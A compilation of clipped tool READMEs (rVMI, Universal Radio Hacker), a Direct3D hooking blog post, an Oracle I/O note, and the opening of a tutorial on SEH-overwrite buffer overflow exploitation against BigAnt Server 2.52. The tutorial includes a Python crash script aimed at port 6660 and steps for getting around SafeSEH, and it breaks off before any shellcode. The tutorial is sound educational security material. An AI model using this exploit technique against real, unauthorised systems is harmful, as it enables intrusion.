### Build

Building all components is handled by the install script. Simply perform the
following steps:

[code]

    $ ./install.sh build
    
[/code]

### Install

The install script can also handle the installation of all components. This
will install the following components:

  * qmp python module
  * rVMI QEMU
  * rVMI Rekall
  * rVMI KVM modules

Installing these components can be achieved with the following command:

[code]

    $ ./install.sh install
    
[/code]

#### Kernel Module Persistence

This will not install the kernel modules in a persistent manner \(it will not
survive a reboot\). In order to make these changes persistent, you must
replace your KVM modules on the disk. Once built, the kernel modules can be
found here:  
kvm-rvmi-kmod/x86/\*.ko

These modules must be copied to the proper location on your machine. This can
be found by running:

[code]

    $ modinfo kvm
    
[/code]

Copy the kernel modules to the location specified by the "filename" output of
the above command.

## Using rVMI

### Start the VM

The first step in starting rVMI is to start a VM. We will not cover creating a
VM as the steps are the same as creating a VM for QEMU and these instructions
are readily available online. We do recommend that you use a qcow2 image as
this will support snapshots within the image format.

You may start qemu in the standard way, paying attention that you enable KVM
and QMP:

[code]

    $ qemu-system-x86_64 -enable-kvm -qmp unix:[QMP SOCK PATH],server,nowait [...]
    
[/code]

We have also included a python wrapper script that automatically incorporates
these options. You can access the help for this script using the -h flag.

[code]

    $ qemu.py -h
    
[/code]

Important is that you have the qmp socket path to pass to rekall in the next
step.

### Start Rekall

Use the qmp socket path to start rekall.

[code]

    $ rekall -f [QMP SOCK PATH]
    
[/code]

## Licensing and Copyright

Copyright 2017 FireEye, Inc. All Rights Reserved.

All Rights Reserved

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation. Version 2 of the License.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with
this program; if not, write to the Free Software Foundation, Inc., 59 Temple
Place - Suite 330, Boston, MA 02111-1307, USA.

## Bugs and Support

There is no support provided. There is NO warranty; not even for
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you think you've found a bug and you are not sure to which subproject
\(rVMI-KVM, rVMI-QEMU, rVMI-Rekall\) it belongs or if you want to file a
general bug, please report here:

https://github.com/fireeye/rvmi/issues

Otherwise please report the bug in the repository of the subproject where the
bug is located in:.

https://github.com/fireeye/rvmi-qemu/issues  
https://github.com/fireeye/rvmi-kvm/issues  
https://github.com/fireeye/rvmi-rekall/issues

For more details on the bug submission process, take a look at the README file
of the subproject.

  

# jopohl/urh

**Created:**| _9/4/2017 9:44:46 AM_  
---|---  
**Updated:**| _9/4/2017 9:44:46 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Universal Radio Hacker

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f7472617669732f6a6f706f686c2f7572682f6d61737465722e7376673f6c6162656c3d4c696e7578'
width='90' height='20' alt='Linux Build Status' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f6170707665796f722f63692f6a6f706f686c2f7572682f6d61737465722e7376673f6c6162656c3d57696e646f7773'
width='127' height='20' alt='Windows Build status' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f636972636c6563692f70726f6a6563742f6769746875622f6a6f706f686c2f7572682f6d61737465722e7376673f6c6162656c3d4f5358'
width='84' height='20' alt='OSX Build Status' /> <img
src='img/68747470733a2f2f636f6465636c696d6174652e636f6d2f6769746875622f6a6f706f686c2f7572682f6261646765732f6770612e737667'
width='110' height='20' alt='Code Climate' /> <img
src='img/68747470733a2f2f62616467652e667572792e696f2f70792f7572682e737667'
width='125' height='20' alt='PyPI version' />

<img
src='img/68747470733a2f2f7261776769742e636f6d2f746f6f6c7377617463682f6261646765732f6d61737465722f617273656e616c2f323031372e737667'
width='146' height='20' alt='Blackhat Arsenal 2017' /> <img
src='img/68747470733a2f2f736c61636b696e737472616c73756e642e6865726f6b756170702e636f6d2f62616467652e737667'
width='87' height='20' alt='Slack' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f446f6e6174652d50617950616c2d677265656e2e737667'
width='94' height='20' alt='Donate' />

The Universal Radio Hacker is a software for investigating unknown wireless
protocols. Features include

  * **hardware interfaces** for common Software Defined Radios
  * **easy demodulation** of signals
  * **assigning participants** to keep overview of your data
  * **customizable decodings** to crack even sophisticated encodings like CC1101 data whitening
  * **assign labels** to reveal the logic of the protocol
  * **fuzzing component** to find security leaks
  * **modulation support** to inject the data back into the system

Check out the wiki for more information and supported devices.

Like to see things in action? Watch URH on YouTube\!

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f3548477a5032542e706e67.png'
width='888' height='503' alt='Youtube Image' />

Want to stay in touch? Join our Slack Channel\!

# Installation

Universal Radio Hacker can be installed via _pip_ or using the _package
manager_ of your distribution \(if included\). Furthermore, you can install
urh from source or run it without installation directly from source. Below you
find more specific installation instructions for:

  * Linux Distributions: 
    * Arch Linux
    * Ubuntu/Debian
    * Gentoo/Pentoo
    * Fedora 25+
  * Windows
  * Mac OS X

**Dependencies**

  * Python 3.4+
  * numpy / psutil / zmq
  * PyQt5
  * C++ Compiler

**Optional**

  * librtlsdr \(for native RTL-SDR device backend\)
  * libhackrf \(for native HackRF device backend\)
  * libairspy \(for native AirSPy device backend\)
  * liblimesdr \(for native LimeSDR device backend\)
  * libuhd \(for native USRP device backend\)
  * rfcat \(for RfCat plugin to send e.g. with YardStick One\)
  * gnuradio / gnuradio-osmosdr \(for GNU Radio device backends\)

## Installation examples

### Arch Linux

[code]

    yaourt -S urh
[/code]

### Ubuntu/Debian

If you want to use native device backends, make sure you install the **-dev**
package for your desired SDRs, that is:

  * AirSpy: ` libairspy-dev `
  * HackRF: ` libhackrf-dev `
  * RTL-SDR: ` librtlsdr-dev `
  * USRP: ` libuhd-dev `

If your device does not have a ` -dev ` package, e.g. LimeSDR, you need to
manually create a symlink to the ` .so `, like this:

[code]

    sudo ln -s /usr/lib/x86_64-linux-gnu/libLimeSuite.so.17.02.2 /usr/lib/x86_64-linux-gnu/libLimeSuite.so
[/code]

**before** installing URH, using:

[code]

    sudo apt-get update
    sudo apt-get install python3-numpy python3-psutil python3-zmq python3-pyqt5 g++ libpython3-dev python3-pip
    sudo pip3 install urh
[/code]

### Gentoo/Pentoo

[code]

    emerge -av urh
[/code]

### Fedora 25+

[code]

    dnf install urh
[/code]

### Windows

#### MSI Installer

The easiest way to install URH on Windows is to use the ` .msi ` installer
available here.

It is recommended to use the **64 bit version** of URH because native device
support is not available on 32 bit windows. If you get an error about missing
` api-ms-win-crt-runtime-l1-1-0.dll `, run Windows Update or directly install
KB2999226.

#### Pip

If you run Python 3.4 on Windows you need to install Visual C++ Build Tools
2015 first.

**It is recommended to use Python 3.5 or later on Windows, so no C++ compiler
needs to be installed.**

  1. Install Python 3 for Windows.

  * Make sure you tick the _Add Python to PATH_ checkbox on first page in Python installer.
  * Choose a **64 Bit** Python version for native device support.

  2. In a terminal, type: ` pip install urh `.
  3. Type ` urh ` in a terminal or search for ` urh ` in search bar to start the application.

### Mac OS X

  1. Install Python 3 for Mac OS X. _If you experience issues with preinstalled Python, make sure you update to a recent version using the given link._
  2. \(Optional\) Install desired native libs e.g. ` brew install librtlsdr ` for corresponding native device support.
  3. In a terminal, type: ` pip3 install urh `.
  4. Type ` urh ` in a terminal to get it started.

## Update your installation

If you installed URH via pip you can keep it up to date with

[code]

    pip3 install --upgrade urh
[/code]

If this shouldn't work you can try:

[code]

    python3 -m pip install --upgrade urh
[/code]

## Running from source

If you like to live on bleeding edge, you can run URH from source.

### Without installation

To execute the Universal Radio Hacker without installation, just run:

[code]

    git clone https://github.com/jopohl/urh/
    cd urh/src/urh
    ./main.py
[/code]

Note, before first usage the C++ extensions will be built.

### Installing from source

To install from source you need to have ` python-setuptools ` installed. You
can get it e.g. with ` pip install setuptools `. Once the setuptools are
installed use:

[code]

    git clone https://github.com/jopohl/urh/
    cd urh
    python setup.py install
[/code]

And start the application by typing ` urh ` in a terminal.

# External decodings

See wiki for a list of external decodings provided by our community\! Thanks
for that\!

# Screenshots

## Get the data out of raw signals

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f577931375a76332e706e67.png'
width='888' height='507' alt='Interpretation phase' />

## Keep an overview even on complex protocols

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f7562414c3370452e706e67.png'
width='888' height='570' alt='Analysis phase' />

## Record and send signals

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f426651706732332e706e67.png'
width='888' height='528' alt='Record' />

  

# Instrumenting Direct3D Applications to Capture Video and Calculate FPS | Nektra Advanced Computing Blog
**Created:**| _7/30/2013 8:11:16 AM_  
---|---  
**Updated:**| _7/30/2013 8:11:16 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation Microsoft_  
  

# **I** nstrumenting Direct3D Applications to Capture Video and Calculate
FPS****

July 23rd, 2013 | Posted by Hernan Di Pietro  in Audio  | C++  | Deviare  | Video 
What is your computer’s maximum render quality, resolution, and frames per
second for Battlefield 3 **?** Hard core gamers are eager to show off their
expensive, tuned setup at its full potential**.** Overclocked processors and
computers cooled with liquid hydrogen are lovely parts of the gaming
folklore**.** The source code below instruments Direct3D 9 applications to
calculate frames per second and capture video**.** It produces an AVI
container using the video codec of your choice**.** It is also possible to
capture game screenshots in the 32-bit BMP format by pressing “delete”**.**
The shortcuts for starting and stopping video recording are “F11” and
“F12”**.**

The code we have provided starts the target process in suspended mode, and
hooks the Direct3DCreate9 entry point in the d3d9.dll**.**

Once we catch a Direct3DCreate9  call, we can use the returned IDirect3D9
pointer to index the VTable**.** Since the call occurred in the target process
address space, we cannot use the pointer directly in our host application;
however, we can use Deviare’s functions to read the hooked process memory
\(starting with the IDirect3D9 pointer\) to get the method addresses**.** This
is a very interesting and useful technique which avoids sending address data
from the intercepted process to the host processes \[1\]**.**

We use the object’s VTable address to get the address of the CreateDevice
method and hook the device creation with INktSpyMgr::CreateHookForAddress and
INktSpyMgr::AddCustomHandler**.** Note that the resulting events INktSpyMgr
will trigger both local hook handlers in the SpyMgr host process, and remote
hook handlers in the intercepted process**.** The local handler creates hooks
for IDirect3DDevice9::EndScene , IDirect3DDevice9::Reset ,
IDirect3DDevice9::Present , and IDirect3DDevice9::Release  using the remote
VTable indexing technique**.** The remote handler initializes the FPS display,
keyboard hook, font, and sprite resources for the console**.**

All hooking is done from the Deviare host executable**.** The plugin that
resides in the target process address space does not create additional Deviare
hooks**.** Once all needed IDirect3DDevice9 methods are successfully hooked,
we can focus on implementing video capture and FPS display**.**

In order to implement video capture and FPS display we must define the
behavior of the pre-call and post-call handlers for the Present, EndScene, and
Reset methods**.**

In the pre-call to Present, we peek at the first item in the keyboard command
queue to check for user actions**.** If it is the “take screenshot” command,
we read the current display device backbuffer and save it to disk**.** If the
first item is the “start recording” command, we create and setup the AVI Video
file and it’s streams. If it is the “stop recording” command, we simply close
the AVI file if it was recording frames**.** If video recording has been
enabled, we add a frame to the current AVI file and update the frame per
second statistics**.** The number of frames recorded depends on the specified
frame rate \(the default is 15\)**.**

In the pre-call to EndScene, if the device is not currently in a reset state,
we update the console and frame counter text in the display**.** If it was not
changed, it is simply redrawn with the current string buffer**.**

Pre-call handling of device Reset occurs when windows are resized, video mode
changes, or fullscreen mode is entered or exited**.** If video is being
recorded we stop recording since we do not handle multiple resolution streams
in our code**.** Next, we release our font and sprite resources, and our
backing display surface**.** During post-call Reset function handling, we also
check for video recording**.** Additionally, we recreate the surface, sprite
and font resources that we released in the Reset pre-call stage**.**

## Possible Improvements****

This code can be improved to include instrumentation of DirectX 11 as well as
OpenGL applications and games**.** The technique would be similar. DirectX
10/11 applications use DXGI low-level interfaces to swap back and front
buffers and there are no “lost devices”, so instead of hooking EndScene,
Present, and Reset, we would hook DXGI library function calls**.** This
approach would be easier than instrumenting DirectX9, since display device
handling is simplified**.**

Audio Capture: Windows Vista and later systems direct all DirectX audio
streams through the native AudioSession APIs **.** The easiest way to capture
audio is through the documented loopback audio device**.** The limitation is
that all system audio is captured, not only audio from our desired
application**.**

If audio isolation is required, hooking the IAudioRenderClient  interface
should copy audio buffer data into user application memory**.** Audio data
could then be transferred to the audio stream in the AVI file**.**

The key problem of audio capturing is resampling**.** If the sample rate and
bit depth of the AVI stream and audio buffer do not match, the audio must be
resampled**.** Writing a good resampler is not trivial task. Our Audio
Recorder SDK  provides a basic and fast resampling code**.**

The AVRecorderTool  code is available on github**.**

### Prerequisites****

  1. Deviare Instrumentation Engine 
  2. Copy Deviare32**.** db, Deviare64.db, DeviareCOM.dll, DeviareCom64.dll, DvAgent.dll, and DvAgent64.dll to AVRecorderTool\dll

## Acknowledgements****

Sebastian Wain  contributed with the writing of the introduction**.**

## Notes****

  1. The Intercepting Direct3D COM Objects and Making Game Walls Invisible  article used IPC to send the remote IDirect3D interface address to the host application’s SpyMgr**.**

## Related Products****

## If you like this article, you might also like**** :

****

# ORACLE-BASE - Direct and Asynchronous I/O

**Created:**| _1/3/2013 7:44:00 AM_  
---|---  
**Updated:**| _1/3/2013 7:44:00 AM_  
**Author:**| __  
**Tags:**| _Oracle dbms async_  
  

# **D** irect and Asynchronous I/O****

I/O operations in UNIX and Linux systems typically go through the file system
cache**.** Although this doesn't represent a problem in itself, this extra
processing does require resources**.** Bypassing the file system cache reduces
CPU requirements, and frees up the file system cache for other non-database
file operations**.** Operations against raw devices automatically bypass the
file system cache**.**

When a synchronous I/O request is submitted to the operating system, the
writing process blocks until the write is complete before continuing
processing**.** With asynchronous I/O, processing continues while the I/O
request is submitted and processed**.** This allows asynchronous I/O to bypass
some of the performance bottlenecks associated with I/O operations**.**

Oracle can take advantage of direct I/O and asynchronous I/O on supported
platforms using the `FILESYSTEMIO_OPTIONS` parameter, whose possible values
are listed below**.**

  * ASYNCH - Enabled asynchronous I/O where possible**.**
  * DIRECTIO- Enabled direct I/O where possible**.**
  * SETALL- Enabled both direct I/O and asynchronous I/O where possible**.**
  * NONE - Disabled both direct I/O and asynchronous I/O**.**

The following example shows how the parameter is set**.**

>
[code]

>     SQL> SHOW PARAMETER FILESYSTEMIO_OPTIONS
>  
>     NAME                                 TYPE        VALUE
>     ------------------------------------ -----------
> ------------------------------
>     filesystemio_options                 string      none
>     SQL> ALTER SYSTEM SET FILESYSTEMIO_OPTIONS=SETALL SCOPE=SPFILE;
>  
>     System altered**.**
>  
>     SQL> SHUTDOWN IMMEDIATE
>     Database closed.
>     Database dismounted**.**
>     ORACLE instance shut down.
>     SQL> STARTUP
>     ORACLE instance started**.**
>  
>     Total System Global Area  926941184 bytes
>     Fixed Size                  1222672 bytes
>     Variable Size             239077360 bytes
>     Database Buffers          683671552 bytes
>     Redo Buffers                2969600 bytes
>     Database mounted**.**
>     Database opened**.**
>     SQL> SHOW PARAMETER FILESYSTEMIO_OPTIONS
>  
>     NAME                                 TYPE        VALUE
>     ------------------------------------ -----------
> ------------------------------
>     filesystemio_options                 string      SETALL
>     SQL>
[/code]

For more information see:

Hope this helps**.** Regards Tim..**.**

Back to the Top.

<img src='img/Temp2_5665.gif' />  
---  
****

# The Grey Corner: SEH Stack Based Windows Buffer Overflow Tutorial

**Created:**| _4/10/2011 11:44:33 AM_  
---|---  
**Updated:**| _4/10/2011 12:00:08 PM_  
**Author:**| __  
**Tags:**| _Exploit windows seh_  
  

## SEH Stack Based Windows Buffer Overflow Tutorial  

Introduction  
  
This is the second in my series of buffer overflow tutorials, which focuses on
how to use an overwrite of the SEH handler address on the stack to gain
control of code execution in a vulnerable program. The intent of this series
of tutorials is to educate the reader on how they can write buffer overflow
exploits. This will enable you to have a better understanding of the use of
exploitation products such as Core Impact, Canvas and Metasploit, and it give
you the tools to more accurately assess the risk of discovered vulnerabilities
as well as to develop effective countermeasures for exploits out in the wild.  
  
This tutorial is designed to build upon skills taught during my first
tutorial. If you are not already familiar with the use of OllyDbg and creating
basic buffer overflow exploits I'd recommend you start with the first tutorial
before attempting this one. As in the last tutorial, the focus here will be on
skills needed to actually exploit these vulnerabilities, and unnecessary
theory will be omitted.  
  
For this tutorial I will be using a vulnerability recently discovered by
Lincoln, in BigAnt Server 2.52. You can download a copy of the vulnerable
software to install on your test system via visiting the "Vulnerable Software"
link in the original exploit.  
  
I have been discussing this tutorial with the vulnerability discoverer
Lincoln, and there is a possibility that he will write a complementary post
either here or on his own blog discussing how the vulnerability was
discovered. Watch this space for more.  
  
EDIT: Here is the guest post discussing the discovery of the BigAnt
vulnerability by Lincoln.  
  
Warning\! Please note that this tutorial is intended for educational purposes
only, and you should NOT use the skills you gain here to attack any system for
which you don't have permission to access. It's illegal in most jurisdictions
to access a computer system without authorisation, and if you do it and get
caught \(which is likely\) you deserve whatever you have coming to you. Don't
say you haven't been warned.  
  
If any BigAnt Server 2.52 users are reading this and you haven't patched this
vulnerability, do yourself a favour and update immediately. I have tested the
exploit against the patched version of the application and can confirm that
\(for me at least\), the update I have linked to above fixes this issue.  
  
BigAnt users can use the process described below to develop a safe exploit
that can be used to test whether you are vulnerable. I say this is a "safe"
exploit, because if you create the exploit yourself you should know exactly
what it does and what the impact will be if you run it on one of your systems,
which is a claim that cannot be made for all other exploits you may find out
on the public Internet. This ability to be able to safely test for yourself
whether your application is vulnerable to a particular type of exploit is
another benefit of having the skill to write your own buffer overflows.  
  
Required Knowledge  
  
To follow this tutorial you will need to have basic knowledge of:  

  * TCP/IP networking,
  * management of the Windows Operating System \(including installing software, running and restarting services, connecting to remote desktop sessions, etc\), and
  * running Python and Perl scripts.

  
You need to have good enough knowledge of the attacking system you use
\(whether it be BackTrack, another type of Linux, Windows or anything else\)
to be able to run programs and scripts as well as transfer files.  
  
Knowledge of basic debugger usage with OllyDbg, including the ability to start
and attach to programs, insert breakpoints, step through code, etc, is also
expected. This is covered in my first tutorial.  
  
Python programming skills and knowledge of Metasploit usage are a bonus but
not required.  
  
System Setup  
  
In order to reproduce this exploit for the tutorial, I used a victim system
running Windows XP SP2, and a attacking system running BackTrack 4 PreFinal.  
  
You don't need to reproduce my setup exactly, but I would suggest sticking to
Windows XP SP2 or earlier for the victim system. The attacking system can be
anything you feel comfortable in, as long as it can run the software I have
specified below, and as long as you are able to translate the Linux commands I
will be listing below into something appropriate for your chosen system.  
  
If required, you can get a XP SP2 Virtual Machine to use as your victim by
following the instructions in the Metasploit Unleashed course, starting in the
section "02 Required Materials" \- "Windows XP SP2" up to the section entitled
"XP SP2 Post Install".  
  
Your victim system must also use a X86 based processor.  
  
In this tutorial my attacking and victim systems used the following IP
Addresses. You will need to substitute the addresses of your own systems where
ever these addresses appear in the code or commands listed below.  

  * Attacker system: 192.168.20.11
  * Victim system: 192.168.10.27

The two systems are networked together and I have interactive GUI access to
the desktop of the victim system via a remote desktop session. You will need
to be able to easily and quickly switch between controlling your attacking
system and the victim system when following this tutorial, and you will need
to be able to transfer files from your victim system to the attacking system,
so make sure you have things set up appropriately before you proceed.  
  
Required Software on Attacking and Victim Systems  
  
Your attacker and victim systems will need the following software installed in
order to follow this tutorial. By using BackTrack 4 PreFinal for your
attacking system you will take care of all but the last two attacking system
prerequisitites. The last two pieces of software are basic perl scripts I
wrote specifically for performing certain tasks during the exploit development
process. There are other more efficient ways to achieve the same goals, but
using these will give you a better appreciation of how the process works.  
  
The attacking system requires the following software:  

  * Perl interpreter
  * Python interpreter
  * Metasploit 3.x  

  * Text Editor
  * Netcat
  * generatecodes.pl
  * comparememory.pl  

  
The victim system requires the following software:  

  * BigAnt Server 2.52 SP5
  * OllyDbg 1.10  

Please note that there are various service packs for BigAnt Server 2.52, and
the version currently available on the BigAnt Software website \(Service pack
8 or above\) is not vulernable to this particular exploit. I think Service
Packs version 7 and below will work too, but I have not confirmed this.  
  
The link above is to the vulnerable version of the software.  
  
Ensure that all required software is installed and operational before you
proceed with this tutorial.  
  
Attaching the BigAnt Server to a Debugger  
  
In order to be able to reliably develop an exploit for the BigAnt Server
software, we need to watch how the application behaves when an exploitable
exception is generated. To achieve this we use a debugger like OllyDbg.  
  
The process of attaching to a process in the OllyDbg was covered in my first
tutorial, however in this section I will provide a quick summary of how we can
attach OllyDbg to antserver.exe and how we can restart the process as required
when we need to repeat triggering the exploitable vulnerability.  
  
The AntServer process that we will need to attach to can be controlled by
using the BigAnt Console, a shortcut to which should have been placed on the
desktop when you installed BigAnt Server on your victim system. If you open
this BigAnt console and select the Server->Run Service Control menu option,
you will be greeted with a interface that you can use to restart the AntServer
process.  
  
<img src='img/Temp2_8090.png' />  
  
Once the AntServer process is running, to attach to it in OllyDbg, use the
File->Attach menu option and select the AntServer.exe process from the list.
Then hit F9 or the run button to let the program run.  
  
When you need to restart the process \(for example if you have made a change
to your exploit code and want to retrigger the vulnerability\) close OllyDbg,
select the AntServer process in the BigAnt console, use the Restart button in
the BigAnt console to restart the process, then reopen OllyDbg and attach to
AntServer.exe once again.  
  
You will need to repeat this process every time you want to resend the
exploit.  
  
  
Triggering the Vulnerability  
  
Now that we have the housekeeping details out of the way lets get into the
interesting stuff.  
  
By looking at the original exploit and the associated security advisory, we
can see that the exploitable vulnerability is triggered by sending a overly
long USV request to the antserver.exe process on port 6660 \(this port number
can actually be changed during initial configuration\).  
  
We can write a Python script to trigger the exploit by sending the following
data:  
"USV " \+ "A" \* 2500 + "\r\n\r\n"  
  
The script, which will serve as a basis for the exploit we are developing, is
provided below. Note that there is a space inside the double quotes AFTER the
USV string.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV " \+ "\x41" \* 2500 + "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
  
Sending this data to the application causes our debugger to stop with an
access violation writing to 014D0000, and at the time of the crash EIP is
pointing to 0047600F.  
  
<img src='img/Temp2_8088.png' />  
  
This doesn't appear to be a EIP overwrite, as EIP has not been overwritten
with characters taken from our buffer of all "A"s, as happened during the
development of the exploit in my first tutorial.  
  
So no EIP overwrite here. Is this the end of the story as far as Windows stack
buffer overflows goes? No, not quite.  
  
When we check SEH chain of the application, using the View->SEH Chain menu
option in OllyDbg, we see that the SEH handler for the application has been
overwritten with 41414141, which is what we sent in our buffer.  
  
<img src='img/Temp2_8091.png' />  
  
At this point, if we use the Shift and F9 keys to pass the exception to
antserver.exe, we will see that this results in an access violation when
executing 41414141, and our EIP register now points to 41414141.  
  
<img src='img/Temp2_8083.png' />  
  
So what has happened here? We passed the first exception \(where EIP was
pointing to 0047600F\) to the program to handle, and this resulted in another
access violation, this time with EIP pointing to 41414141, a value from our
buffer. It appears that the program tried to handle the exception by running
the instructions located at the overwritten SEH address of 41414141. This
overwritten SEH address gives us an opportunity to gain control of code
execution, but the process is not quite as straightforward as with simple EIP
overwrites. We will now need to look at some details about SEH, including
protection methods that are in place to help prevent SEH exploitation.  
  
Quick Introduction to SEH  
  
The Structured Exception Handler is used to handle exceptions within Windows
programs. Every process has a Operating System supplied SEH, and when a
Windows program has an exception that it cannot handle itself, control is
passed to a SEH address which has code that can be used to show a dialog box
explaining that the program has crashed or to pass control to a debugger if
one is running. When control from our original exception was passed from the
debugger back to antserver.exe, the windows exception handler was actually
involved in mediating the process. The fact that the windows exception handler
becomes involved in this process allows some additional protections against
SEH exploitation to be added, which we have to learn to work around when
performing SEH overwrites on certain versions of Windows.  
  
Zeroing of CPU Registers  
  
If you happen to be debugging antserver.exe on Windows XP SP1 or above, you
might now notice that several of your register values \(in the top right hand
pane of OllyDbg\) now seem to be set to zero, and the rest don't appear to
point anywhere near our buffer. The zeroing out of registers when using the
SEH handler is a new feature added in XP SP1 in order to make SEH exploitation
more difficult, however it is still possible to create reliable exploits even
with this feature in place.  
  
If we look at the third entry down on the stack \(bottom right pane in the
main OllyDbg window\) you will notice that there is a ASCII "AAAAA" string
next to the entry, indicating that a long string of A characters exists at
this memory location. Since our buffer was made up of a long string of "A"
characters \(A is the ASCII representation of the byte \x41\), this would
indicate that this stack entry points to a memory location within our buffer.
If you right click on this stack entry and select Follow in Dump you will see
the long string of As in the memory dump in the bottom left pane of the main
Olly window. To enable us to run code sent in our buffer, we need to redirect
execution to this location in memory.  
  
There are a number of different methods by which we can do this, but the most
common method used in SEH exploits is the POP, POP, RETN method. The stack is
essentially a structure in memory comprised of a virtual pile of 32 bit \(4
byte\) values. The POP instruction takes the top value off this pile and puts
it somewhere else, such as into one of the 32 bit CPU registers. Performing
two POP instructions removes the top two entries from the stack and puts them
elsewhere \(for the purposes of exploiting SEH we don't really care where they
go\) leaving the third entry at the top of the stack. The RETN instruction
then takes the memory address that is now at the top of the stack and tells
the CPU to continue execution from there.  
  
If we overwrite the SEH address with an address that points to the start of a
POP, POP, RETN set of instructions, and that address is used by the program to
manage that exception, we will have taken control of CPU execution to run our
own code within the buffer. This is similar to the method by which we took
control of CPU execution via a direct EIP RETN overwrite, but there is one
more protection method called SafeSEH that we need to take into account to
successfully achieve this.  
  
SafeSEH  
  
In Windows XP SP2 and Windows Server 2003 the windows exception handler makes
use of a new protection feature called SafeSEH. Essentially SafeSEH is a
linker option can be used when compiling a executable module. When this option
is enabled in a module, only addresses listed as on a registered SEH handlers
list can be used as SEH Handlers within that module. This means that if you
try to use a POP, POP, RETN address that isn't on the registered handlers
list, from a module compiled with /SafeSEH ON, the SEH address will not be
used by the windows exception handler and the SEH overwrite will fail.  
  
In addition, there is also a IMAGE\_DLLCHARACTERISTICS\_NO\_SEH flag, which
when set on a DLL prevents any addresses from that DLL being used as SEH
Handlers.  
  
Both of these DLL flags constrain the potential locations in which we can look
for SEH overwrite addresses.  
  
There are a few approaches we can use to bypass these SafeSEH protections:  

  * Use a overwrite address from a module that was not compiled with the /SafeSEH ON or IMAGE\_DLLCHARACTERISTICS\_NO\_SEH options. Third party modules, and main executables are usually compiled without these options, however addresses from the main executables are often unsuitable because they contain a leading zero \x00 character which often break overflows.
  * Use an instruction from a predictable spot in memory, marked executable, that sits outside the areas of loaded modules considered in scope for the SEH verification tests.
  * Use an address from the heap.
  * Use a registered handler address for the SEH overwrite. For most vulnerabilities this won't create a usable exploit.
  * On Windows Server 2003 before SP1, it was possible to use SEH overwrite addresses in modules like ATL.dll, because the registered handlers list was not checked by the exception handler. On Windows XP SP2 and WIndows Server SP1 and up this method is not viable.

  
Finding a SEH Overwrite Address  
  
For this exploit, we will use the first and easiest method of finding an
appropriate address in a module with no /SafeSEH ON or
IMAGE\_DLLCHARACTERISTICS\_NO\_SEH options. The quickest method to find such a
module is to use the OllySSEH OllyDbg plugin, which can give us a list of all
modules loaded with the application and their SafeSEH status. We then just
need to pick a module that is marked as /SafeSEH Off and find a POP, POP, RETN
address from that module. However when I run the SafeSEH plugin while attached
to AntServer.exe, I get an exception in OllyDbg.  
  
This means I am going to be doing things the hard way \(I'd encourage you to
try OllySSEH though - maybe you won't get the same crash that I did\).  
  
As an alternate method to using OllySSEH, we can start by using the
View->Executable Modules menu option to show a the list of modules loaded with
the application, and we can then analyse each individual file using msfpescan
to determine whether we can use it to provide a usable SEH overwrite address.  
  
<img src='img/Temp2_8093.png' />  
  
We are looking for two things within the module - first of all we don't want
to see any registered SEH handlers listed \(this would mean that the module
was compiled with /SafeSEH On\), and second we don't want to see the
IMAGE\_DLLCHARACTERISTICS\_ NO\_SEH flag \(0x0400\) enabled in the
DllCharacteristics field.  
  
Knowing that the majority of the main Windows DLLs will be compiled with
/SafeSEH On or IMAGE\_DLLCHARACTERISTICS\_ NO\_SEH, we first look for any
third party DLLs in the list. These will usually be loaded from the same
directory as the main executable. In this case there are no such DLLs loaded
with AntServer.exe.  
  
We next have a look at the list for any DLLs that did not come standard with
the Windows Operating System. There is no real science to this process, and it
will take some familiarity with the Windows Operating System to determine
which DLLs are core system DLLs are which are not. If you are unsure you can
just try all DLLs listed until you run across one that works. I am going to
start with the vbajet32.dll module, which I recognise as a VB runtime file.  
  
I copied this DLL to my attacking machine and analysed it using the following
commands.  
  
This next command uses msfpescan to check for registered SEH handlers in the
DLL. No results means that the module was not compiled with /SafeSEH On.  
  

> user@bt4pf:/tmp$ msfpescan -i vbajet32.dll | grep SEHandler
  
This command shows the value stored in the DllCharacteristics field of the
DLL. We are looking for the absense of a 0x0400 value in the result. This is a
hex representation of a binary value, so any value that indicates that the
third bit of the second byte from the right is set means that No SEH is active
and we cannot use the DLL for our SEH overwrite. To put this another way, if
we only look at the third Hex digit from the right \(the one marked by X in
0x0X00\), values we DONT want to see here are 4, 5, 6, 7, C, E, F.  
  

> user@bt4pf:/tmp$ msfpescan -i vbajet32.dll | grep DllCharacteristics  
>  DllCharacteristics 0x00000000
  
There is a zero in the third hex character from the right \(the one marked by
X in 0x00000X00\) This is a good sign and means that we can use vbajet32.dll
to find our SEH overwrite address.  
  
Lets now search for a POP, POP, RETN address in vbajet32.dll. From the
Executable Modules list in OllyDbg, double click on the vbajet32.dll entry to
view it in the main OllyDbg window. Now right click in the CPU pane \(top
left\) and select Search for->Sequence of Commands.  
  
<img src='img/Temp2_8087.png' />  
  
In the Find Sequence of Commands window, enter the following text  

> POP r32  
>  POP r32  
>  RETN
And then hit Find.  
  
<img src='img/Temp2_8085.png' />  
  
This will find the next POP, POP, RETN instruction within this module. I found
an address at 0F9A196A.  
  
<img src='img/Temp2_8084.png' />  
  
This address doesn't have any of the usual bad characters \(\x00\x0a\x0d\) so
we will use it for our SEH overwrite address.  
  
  
Finding the SEH Overwrite Offset  
  
The next thing we want to find out is where in our buffer the SEH overwrite
occurs. As we did in the basic stack overflow article, we will find the
appropriate character using a unique string generated using the Metasploit
pattern\_create.rb tool.  
  
Generate the pattern - 2500 bytes in length.  
  

